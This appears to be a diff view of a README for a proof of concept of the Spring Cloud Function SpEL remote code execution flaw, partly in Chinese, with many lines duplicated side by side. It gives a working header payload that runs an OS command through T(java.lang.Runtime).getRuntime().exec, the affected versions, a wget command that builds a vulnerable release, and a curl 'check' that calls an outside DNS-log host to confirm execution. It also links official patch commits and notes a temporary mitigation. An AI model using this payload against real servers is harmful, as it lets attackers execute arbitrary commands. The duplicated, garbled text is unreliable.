update readme

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helloexp 2022-03-30 11:51:46 +08:00
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``` ```
spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("open -a calculator.app") spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("open -a calculator.app")
``` ```
## 受影响吧版本
SpringCloudFunction 3 <= 漏洞版本 <= 3.2.2
# build # build
```bash ```bash
wget https://github.com/spring-cloud/spring-cloud-function/archive/refs/tags/v3.1.6.zip wget https://github.com/spring-cloud/spring-cloud-function/archive/refs/tags/v3.1.6.zip
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helloexp helloexp
``` ```
## check
```bash
curl -v 'https://helloexp.com/dnslog?q=random87535.rce.helloexp.com'
```
## official GitHub info ## official GitHub info
https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f

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## Spring 官方补丁也正在积极的赶制中 ## Spring 官方补丁也正在积极的赶制中
[Spring 制作中的补丁链接](https://github.com/spring-projects/spring-framework/commit/7f7fb58dd0dae86d22268a4b59ac7c72a6c22529) [Spring 制作中的补丁链接](https://github.com/spring-projects/spring-framework/commit/7f7fb58dd0dae86d22268a4b59ac7c72a6c22529)
## 漏洞影响
1. jdk 版本在9及以上的
2. 使用了Spring Framework或衍生框架
## 漏洞修复建议
目前Spring 官方暂未发布补丁建议降低jdk 版本作为临时方案